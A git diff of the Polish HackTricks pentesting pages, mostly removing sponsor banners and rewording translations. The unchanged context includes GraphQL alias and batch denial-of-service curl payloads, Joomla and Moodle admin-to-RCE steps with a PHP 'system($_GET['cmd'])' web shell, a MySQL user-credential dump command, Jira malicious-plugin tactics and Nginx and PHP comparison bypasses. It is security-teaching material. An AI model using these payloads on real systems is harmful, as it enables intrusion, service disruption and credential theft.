"{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \ 'https://example.com/graphql' ``` -Aby temu zapobiec, wdroż ograniczenia liczby aliasów, analizę złożoności zapytań lub ograniczenia szybkości, aby zapobiec nadużywaniu zasobów. +Aby temu zapobiec, wdroż ograniczenia liczby aliasów, analizę złożoności zapytań lub ograniczenie szybkości, aby zapobiec nadużywaniu zasobów. ### **Batched Query na bazie tablicy** -**Batched Query na bazie tablicy** to luka, w której API GraphQL pozwala na grupowanie wielu zapytań w jednym żądaniu, co umożliwia atakującemu wysłanie dużej liczby zapytań jednocześnie. Może to przytłoczyć backend, wykonując wszystkie zgrupowane zapytania równolegle, zużywając nadmierne zasoby (CPU, pamięć, połączenia z bazą danych) i potencjalnie prowadząc do **Denial of Service (DoS)**. Jeśli nie ma ograniczenia liczby zapytań w partii, atakujący może to wykorzystać do pogorszenia dostępności usługi. +**Batched Query na bazie tablicy** to luka, w której API GraphQL pozwala na grupowanie wielu zapytań w jednym żądaniu, co umożliwia atakującemu wysłanie dużej liczby zapytań jednocześnie. Może to przytłoczyć backend, wykonując wszystkie zgrupowane zapytania równolegle, co prowadzi do nadmiernego zużycia zasobów (CPU, pamięć, połączenia z bazą danych) i potencjalnie prowadzi do **Denial of Service (DoS)**. Jeśli nie ma ograniczenia liczby zapytań w partii, atakujący może to wykorzystać do pogorszenia dostępności usługi. ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -515,7 +510,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \ -d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \ 'https://example.com/graphql' ``` -W tym przykładzie 10 różnych zapytań jest grupowanych w jednym żądaniu, zmuszając serwer do jednoczesnego wykonania wszystkich z nich. Jeśli zostanie to wykorzystane z większym rozmiarem partii lub kosztownymi obliczeniowo zapytaniami, może to przeciążyć serwer. +W tym przykładzie 10 różnych zapytań jest grupowanych w jedno żądanie, zmuszając serwer do jednoczesnego wykonania wszystkich z nich. Jeśli zostanie to wykorzystane z większym rozmiarem partii lub kosztownymi obliczeniowo zapytaniami, może to przeciążyć serwer. ### **Wrażliwość na Przeciążenie Dyrektyw** @@ -561,7 +556,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso - [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Identyfikuje używaną wersję GraphQL - [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Zestaw narzędzi, który można wykorzystać do pobierania schematów i wyszukiwania danych wrażliwych, testowania autoryzacji, ataków brute force na schematy oraz znajdowania ścieżek do danego typu. - [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Może być używany jako samodzielne narzędzie lub [rozszerzenie Burp](https://github.com/doyensec/inql). -- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Może być używany jako klient CLI, aby zautomatyzować ataki +- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Może być używany jako klient CLI do automatyzacji ataków - [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Narzędzie, które wymienia różne sposoby **osiągnięcia danego typu w schemacie GraphQL**. - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Następca trybów samodzielnych i CLI InQL - [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Rozszerzenie Burp do zaawansowanego testowania GraphQL. _**Skaner**_ jest rdzeniem InQL v5.0, gdzie można analizować punkt końcowy GraphQL lub lokalny plik schematu introspekcji. Automatycznie generuje wszystkie możliwe zapytania i mutacje, organizując je w uporządkowany widok do analizy. Komponent _**Atakujący**_ pozwala na przeprowadzanie zbiorczych ataków GraphQL, co może być przydatne do omijania źle zaimplementowanych limitów prędkości. @@ -588,10 +583,5 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso - [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) - [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql) -
- -Zgłębiaj swoją wiedzę w zakresie **Bezpieczeństwa Mobilnego** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Androida dzięki naszym kursom w trybie samodzielnym i uzyskaj certyfikat: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/h2-java-sql-database.md b/src/network-services-pentesting/pentesting-web/h2-java-sql-database.md index 3352efb3c..0228db9d5 100644 --- a/src/network-services-pentesting/pentesting-web/h2-java-sql-database.md +++ b/src/network-services-pentesting/pentesting-web/h2-java-sql-database.md @@ -2,8 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -{% embed url="https://websec.nl/" %} - Oficjalna strona: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html) ## Dostęp @@ -35,6 +33,4 @@ W [**tym poście**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/) }, [...] ``` -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/jboss.md b/src/network-services-pentesting/pentesting-web/jboss.md index de1763dee..a3ea9b5e7 100644 --- a/src/network-services-pentesting/pentesting-web/jboss.md +++ b/src/network-services-pentesting/pentesting-web/jboss.md @@ -2,15 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -
-**Tip dotyczący bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hakerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**! - -{% embed url="https://go.intigriti.com/hacktricks" %} ## Techniki enumeracji i eksploatacji -Podczas oceny bezpieczeństwa aplikacji webowych, pewne ścieżki, takie jak _/web-console/ServerInfo.jsp_ i _/status?full=true_, są kluczowe dla ujawnienia **szczegółów serwera**. Dla serwerów JBoss, ścieżki takie jak _/admin-console_, _/jmx-console_, _/management_ i _/web-console_ mogą być istotne. Te ścieżki mogą umożliwić dostęp do **servletów zarządzających** z domyślnymi danymi logowania często ustawionymi na **admin/admin**. Ten dostęp ułatwia interakcję z MBeans za pośrednictwem konkretnych servletów: +Podczas oceny bezpieczeństwa aplikacji webowych, pewne ścieżki, takie jak _/web-console/ServerInfo.jsp_ i _/status?full=true_, są kluczowe dla ujawnienia **szczegółów serwera**. Dla serwerów JBoss, ścieżki takie jak _/admin-console_, _/jmx-console_, _/management_ i _/web-console_ mogą być istotne. Te ścieżki mogą umożliwiać dostęp do **serwletów zarządzających** z domyślnymi poświadczeniami często ustawionymi na **admin/admin**. Taki dostęp ułatwia interakcję z MBeans za pośrednictwem konkretnych serwletów: - Dla wersji JBoss 6 i 7, używa się **/web-console/Invoker**. - W JBoss 5 i wcześniejszych wersjach dostępne są **/invoker/JMXInvokerServlet** i **/invoker/EJBInvokerServlet**. @@ -19,16 +15,12 @@ Narzędzia takie jak **clusterd**, dostępne pod adresem [https://github.com/hat ### Zasoby do eksploatacji -Aby wykorzystać luki, zasoby takie jak [JexBoss](https://github.com/joaomatosf/jexboss) dostarczają cennych narzędzi. +Aby eksploatować luki, zasoby takie jak [JexBoss](https://github.com/joaomatosf/jexboss) dostarczają cennych narzędzi. ### Znajdowanie podatnych celów Google Dorking może pomóc w identyfikacji podatnych serwerów za pomocą zapytania: `inurl:status EJInvokerServlet` -
-**Tip dotyczący bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hakerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/jira.md b/src/network-services-pentesting/pentesting-web/jira.md index 6ce47e298..fe941cdc8 100644 --- a/src/network-services-pentesting/pentesting-web/jira.md +++ b/src/network-services-pentesting/pentesting-web/jira.md @@ -2,17 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_). - -{% embed url="https://www.stmcyber.com/careers" %} - ## Sprawdź uprawnienia -W Jira, **uprawnienia można sprawdzić** przez każdego użytkownika, uwierzytelnionego lub nie, za pomocą punktów końcowych `/rest/api/2/mypermissions` lub `/rest/api/3/mypermissions`. Te punkty końcowe ujawniają aktualne uprawnienia użytkownika. Szczególną obawą jest sytuacja, gdy **użytkownicy nieautoryzowani mają uprawnienia**, co wskazuje na **lukę w zabezpieczeniach**, która może kwalifikować się do **nagrody**. Podobnie, **nieoczekiwane uprawnienia dla użytkowników uwierzytelnionych** również podkreślają **lukę**. +W Jira, **uprawnienia mogą być sprawdzane** przez każdego użytkownika, uwierzytelnionego lub nie, za pośrednictwem punktów końcowych `/rest/api/2/mypermissions` lub `/rest/api/3/mypermissions`. Te punkty końcowe ujawniają aktualne uprawnienia użytkownika. Szczególnym problemem jest, gdy **nieuwierzytelnieni użytkownicy mają uprawnienia**, co wskazuje na **lukę w zabezpieczeniach**, która może kwalifikować się do **nagrody**. Podobnie, **nieoczekiwane uprawnienia dla użytkowników uwierzytelnionych** również podkreślają **lukę**. -Ważna **aktualizacja** miała miejsce **1 lutego 2019**, wymagając, aby punkt końcowy 'mypermissions' zawierał **parametr 'permission'**. Wymóg ten ma na celu **zwiększenie bezpieczeństwa** poprzez określenie uprawnień, które są sprawdzane: [sprawdź to tutaj](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter) +Ważna **aktualizacja** została wprowadzona **1 lutego 2019**, wymagająca, aby punkt końcowy 'mypermissions' zawierał **parametr 'permission'**. Wymóg ten ma na celu **zwiększenie bezpieczeństwa** poprzez określenie uprawnień, które są sprawdzane: [sprawdź to tutaj](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter) - ADD_COMMENTS - ADMINISTER @@ -105,21 +99,15 @@ Gdy znajdziesz XSS, w [**tym repozytorium github**](https://github.com/cyllectiv ## Wtyczka Backdoor -[**Ten post**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) opisuje różne (złośliwe) działania, które może wykonać złośliwa wtyczka Jira. Możesz znaleźć [**przykład kodu w tym repozytorium**](https://github.com/cyllective/malfluence). +[**Ten post**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) opisuje różne (złośliwe) działania, które mogłaby wykonać złośliwa wtyczka Jira. Możesz znaleźć [**przykład kodu w tym repozytorium**](https://github.com/cyllective/malfluence). Oto niektóre z działań, które mogłaby wykonać złośliwa wtyczka: - **Ukrywanie wtyczek przed administratorami**: Możliwe jest ukrycie złośliwej wtyczki poprzez wstrzyknięcie jakiegoś front-endowego javascriptu. - **Ekstrakcja załączników i stron**: Umożliwia dostęp i ekstrakcję wszystkich danych. -- **Kradzież tokenów sesji**: Dodaj punkt końcowy, który odzwierciedli nagłówki w odpowiedzi (z ciasteczkiem) oraz jakiś javascript, który się z nim skontaktuje i wycieknie ciasteczka. -- **Wykonywanie poleceń**: Oczywiście możliwe jest stworzenie wtyczki, która wykona kod. +- **Kradzież tokenów sesji**: Dodaj punkt końcowy, który zwróci nagłówki w odpowiedzi (z ciasteczkiem) oraz jakiś javascript, który się z nim skontaktuje i wycieknie ciasteczka. +- **Wykonanie polecenia**: Oczywiście możliwe jest stworzenie wtyczki, która wykona kod. - **Reverse Shell**: Lub uzyskanie reverse shell. - **Proxy DOM**: Jeśli confluence znajduje się w prywatnej sieci, możliwe byłoby nawiązanie połączenia przez przeglądarkę jakiegoś użytkownika z dostępem do niej i na przykład skontaktowanie się z serwerem wykonującym polecenia przez to. -
- -Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_). - -{% embed url="https://www.stmcyber.com/careers" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/joomla.md b/src/network-services-pentesting/pentesting-web/joomla.md index 1b5ef7a41..cdde05422 100644 --- a/src/network-services-pentesting/pentesting-web/joomla.md +++ b/src/network-services-pentesting/pentesting-web/joomla.md @@ -2,15 +2,10 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Zgłębiaj swoją wiedzę w zakresie **Bezpieczeństwa Mobilnego** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Androida dzięki naszym kursom w trybie samodzielnym i zdobądź certyfikat: - -{% embed url="https://academy.8ksec.io/" %} ### Statystyki Joomla -Joomla zbiera anonimowe [statystyki użycia](https://developer.joomla.org/about/stats.html), takie jak podział wersji Joomla, PHP oraz wersji baz danych i systemów operacyjnych serwerów używanych w instalacjach Joomla. Te dane można uzyskać za pośrednictwem ich publicznego [API](https://developer.joomla.org/about/stats/api.html). +Joomla zbiera anonimowe [statystyki użycia](https://developer.joomla.org/about/stats.html), takie jak podział wersji Joomla, PHP i baz danych oraz systemów operacyjnych serwerów używanych w instalacjach Joomla. Te dane można pobrać za pośrednictwem ich publicznego [API](https://developer.joomla.org/about/stats/api.html). ```bash curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool @@ -100,7 +95,7 @@ admin:admin Jeśli udało ci się zdobyć **dane logowania administratora**, możesz **uzyskać RCE w jego obrębie**, dodając fragment **kod PHP**, aby uzyskać **RCE**. Możemy to zrobić, **dostosowując** **szablon**. 1. **Kliknij** na **`Templates`** w lewym dolnym rogu pod `Configuration`, aby otworzyć menu szablonów. -2. **Kliknij** na nazwę **szablonu**. Wybierzmy **`protostar`** w kolumnie nagłówka `Template`. To przeniesie nas do strony **`Templates: Customise`**. +2. **Kliknij** na nazwę **szablonu**. Wybierzmy **`protostar`** w kolumnie nagłówka `Template`. To przeniesie nas na stronę **`Templates: Customise`**. 3. Na koniec możesz kliknąć na stronę, aby otworzyć **źródło strony**. Wybierzmy stronę **`error.php`**. Dodamy **PHP one-liner, aby uzyskać wykonanie kodu** w następujący sposób: 1. **`system($_GET['cmd']);`** 4. **Zapisz i zamknij** @@ -113,10 +108,5 @@ Jeśli udało ci się zdobyć **dane logowania administratora**, możesz **uzysk - _**(RCE) Edycja wbudowanych szablonów:**_ Edytuje wbudowane szablony w Joomla. - _**(Custom) Niestandardowe exploity:**_ Niestandardowe exploity dla wtyczek Joomla innych firm. -
- -Pogłęb swoją wiedzę w **Bezpieczeństwie Mobilnym** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Androida dzięki naszym kursom w trybie samodzielnym i zdobądź certyfikat: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index cb2fe7244..f9950fecc 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -2,13 +2,8 @@ {{#include ../../banners/hacktricks-training.md}} -
-Zgłębiaj swoją wiedzę w zakresie **Bezpieczeństwa Mobilnego** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Androida dzięki naszym kursom w trybie samodzielnym i zdobądź certyfikat: - -{% embed url="https://academy.8ksec.io/" %} - -## Sztuczki Laravel +## Laravel Tricks ### Tryb debugowania @@ -93,7 +88,7 @@ Wersje podatne: 5.5.40 oraz 5.6.x do 5.6.29 ([https://www.cvedetails.com/cve/CVE Tutaj możesz znaleźć informacje o podatności na deserializację: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) Możesz to przetestować i wykorzystać używając [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ -Lub możesz również wykorzystać to z metasploit: `use unix/http/laravel_token_unserialize_exec` +Lub możesz to również wykorzystać z metasploit: `use unix/http/laravel_token_unserialize_exec` ### CVE-2021-3129 @@ -103,10 +98,5 @@ Inna deserializacja: [https://github.com/ambionics/laravel-exploits](https://git Przeczytaj informacje o tym tutaj: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) -
- -Pogłęb swoją wiedzę w **Mobile Security** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Androida dzięki naszym kursom w trybie samodzielnym i zdobądź certyfikat: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/moodle.md b/src/network-services-pentesting/pentesting-web/moodle.md index 09d78d30f..cfcbc276e 100644 --- a/src/network-services-pentesting/pentesting-web/moodle.md +++ b/src/network-services-pentesting/pentesting-web/moodle.md @@ -2,11 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**Tip dotyczący bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 $**! - -{% embed url="https://go.intigriti.com/hacktricks" %} ## Automatyczne skany @@ -68,7 +63,7 @@ cmsmap http://moodle.example.com/ ``` ### CVEs -Zauważyłem, że automatyczne narzędzia są dość **bezużyteczne w znajdowaniu luk w zabezpieczeniach dotyczących wersji moodle**. Możesz **sprawdzić** je w [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle) +Znalazłem, że automatyczne narzędzia są dość **bezużyteczne w znajdowaniu luk w zabezpieczeniach dotyczących wersji moodle**. Możesz **sprawdzić** je w [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle) ## **RCE** @@ -82,7 +77,7 @@ Następnie możesz **zainstalować następującą wtyczkę**, która zawiera kla {% file src="../../images/moodle-rce-plugin.zip" %} -Lub możesz użyć wtyczki z [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE), aby uzyskać zwykły powłokę PHP z parametrem "cmd". +Lub możesz użyć wtyczki z [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE), aby uzyskać regularny shell PHP z parametrem "cmd". Aby uzyskać dostęp do uruchomienia złośliwej wtyczki, musisz uzyskać dostęp do: ```bash @@ -98,10 +93,4 @@ find / -name "config.php" 2>/dev/null | grep "moodle/config.php" ```bash /usr/local/bin/mysql -u --password= -e "use moodle; select email,username,password from mdl_user; exit" ``` -
- -**Wskazówka dotycząca bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 $**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/nginx.md b/src/network-services-pentesting/pentesting-web/nginx.md index 39ef487b0..4e0b379e5 100644 --- a/src/network-services-pentesting/pentesting-web/nginx.md +++ b/src/network-services-pentesting/pentesting-web/nginx.md @@ -2,13 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, eksploatowalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, i użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## Brak lokalizacji root @@ -29,7 +22,7 @@ Krytyczne zagadnienie bezpieczeństwa wynika z tej konfiguracji. Proste żądani ## Alias LFI Misconfiguration -W plikach konfiguracyjnych Nginx należy dokładnie sprawdzić dyrektywy "location". Wrażliwość znana jako Local File Inclusion (LFI) może być niezamierzenie wprowadzona przez konfigurację przypominającą następującą: +W plikach konfiguracyjnych Nginx należy dokładnie sprawdzić dyrektywy "location". Wrażliwość znana jako Local File Inclusion (LFI) może być niezamierzenie wprowadzona przez konfigurację, która przypomina następującą: ``` location /imgs { alias /path/images/; @@ -140,11 +133,11 @@ Aby **wykryć tę błędną konfigurację**, można wykonać następujące polec ```bash $ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’ ``` -Skany tej niewłaściwej konfiguracji w różnych systemach ujawniły wiele przypadków, w których zmienne Nginx mogły być wyświetlane przez użytkownika. Jednak spadek liczby podatnych przypadków sugeruje, że wysiłki na rzecz naprawienia tego problemu były w pewnym stopniu skuteczne. +Skany tej niewłaściwej konfiguracji w różnych systemach ujawniły wiele przypadków, w których zmienne Nginx mogły być wyświetlane przez użytkownika. Jednak spadek liczby podatnych przypadków sugeruje, że wysiłki na rzecz naprawienia tego problemu były w pewnym stopniu udane. ## Odczyt surowej odpowiedzi backendu -Nginx oferuje funkcję poprzez `proxy_pass`, która umożliwia przechwytywanie błędów i nagłówków HTTP generowanych przez backend, mając na celu ukrycie wewnętrznych komunikatów o błędach i nagłówków. Osiąga się to poprzez serwowanie przez Nginx niestandardowych stron błędów w odpowiedzi na błędy backendu. Jednak pojawiają się wyzwania, gdy Nginx napotyka nieprawidłowe żądanie HTTP. Takie żądanie jest przekazywane do backendu w takiej formie, w jakiej zostało odebrane, a surowa odpowiedź backendu jest następnie bezpośrednio wysyłana do klienta bez interwencji Nginx. +Nginx oferuje funkcję poprzez `proxy_pass`, która pozwala na przechwytywanie błędów i nagłówków HTTP generowanych przez backend, mając na celu ukrycie wewnętrznych komunikatów o błędach i nagłówków. Osiąga się to poprzez serwowanie przez Nginx niestandardowych stron błędów w odpowiedzi na błędy backendu. Jednak pojawiają się wyzwania, gdy Nginx napotyka nieprawidłowe żądanie HTTP. Takie żądanie jest przekazywane do backendu w takiej formie, w jakiej zostało odebrane, a surowa odpowiedź backendu jest następnie bezpośrednio wysyłana do klienta bez interwencji Nginx. Rozważmy przykładowy scenariusz z aplikacją uWSGI: ```python @@ -216,7 +209,7 @@ resolver 8.8.8.8; ``` ### **`proxy_pass` i `internal` Dyrektywy** -Dyrektywa **`proxy_pass`** jest wykorzystywana do przekierowywania żądań do innych serwerów, zarówno wewnętrznie, jak i zewnętrznie. Dyrektywa **`internal`** zapewnia, że niektóre lokalizacje są dostępne tylko wewnątrz Nginx. Chociaż te dyrektywy same w sobie nie są lukami, ich konfiguracja wymaga starannego zbadania, aby zapobiec lukom w zabezpieczeniach. +Dyrektywa **`proxy_pass`** jest wykorzystywana do przekierowywania żądań do innych serwerów, zarówno wewnętrznych, jak i zewnętrznych. Dyrektywa **`internal`** zapewnia, że niektóre lokalizacje są dostępne tylko wewnątrz Nginx. Chociaż te dyrektywy same w sobie nie są lukami, ich konfiguracja wymaga starannego zbadania, aby zapobiec lukom w zabezpieczeniach. ## proxy_set_header Upgrade & Connection @@ -258,7 +251,7 @@ Detectify stworzył repozytorium na GitHubie, w którym możesz użyć Dockera d ### [GIXY](https://github.com/yandex/gixy) -Gixy to narzędzie do analizy konfiguracji Nginx. Głównym celem Gixy jest zapobieganie błędom konfiguracyjnym w zakresie bezpieczeństwa i automatyzacja wykrywania wad. +Gixy to narzędzie do analizy konfiguracji Nginx. Głównym celem Gixy jest zapobieganie błędom konfiguracyjnym związanym z bezpieczeństwem oraz automatyzacja wykrywania wad. ### [Nginxpwner](https://github.com/stark0de/nginxpwner) @@ -270,12 +263,5 @@ Nginxpwner to proste narzędzie do wyszukiwania powszechnych błędów konfigura - [**http://blog.zorinaq.com/nginx-resolver-vulns/**](http://blog.zorinaq.com/nginx-resolver-vulns/) - [**https://github.com/yandex/gixy/issues/115**](https://github.com/yandex/gixy/issues/115) -
- -**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, podatne na wykorzystanie luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index d8005078f..226cf1c2f 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -2,15 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -
-**Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, podatne na ataki luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - -## Typowa lokalizacja ciasteczek: +## Typowe lokalizacje ciasteczek: To również dotyczy ciasteczek phpMyAdmin. @@ -38,11 +31,11 @@ Tabele porównań PHP: [https://www.php.net/manual/en/types.comparisons.php](htt {% file src="../../../images/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %} -- `"string" == 0 -> True` Ciąg znaków, który nie zaczyna się od liczby, jest równy liczbie +- `"string" == 0 -> True` Ciąg, który nie zaczyna się od liczby, jest równy liczbie - `"0xAAAA" == "43690" -> True` Ciągi składające się z liczb w formacie dziesiętnym lub szesnastkowym mogą być porównywane z innymi liczbami/ciągami z wynikiem True, jeśli liczby były takie same (liczby w ciągu są interpretowane jako liczby) - `"0e3264578" == 0 --> True` Ciąg zaczynający się od "0e" i następnie cokolwiek będzie równy 0 - `"0X3264578" == 0X --> True` Ciąg zaczynający się od "0" i następnie dowolna litera (X może być dowolną literą) i następnie cokolwiek będzie równy 0 -- `"0e12334" == "0" --> True` To jest bardzo interesujące, ponieważ w niektórych przypadkach możesz kontrolować wejście ciągu "0" oraz niektóre treści, które są haszowane i porównywane z nim. Dlatego, jeśli możesz dostarczyć wartość, która stworzy hash zaczynający się od "0e" i bez żadnej litery, możesz obejść porównanie. Możesz znaleźć **już haszowane ciągi** w tym formacie tutaj: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) +- `"0e12334" == "0" --> True` To jest bardzo interesujące, ponieważ w niektórych przypadkach możesz kontrolować wejście ciągu "0" i niektóre treści, które są haszowane i porównywane z nim. Dlatego, 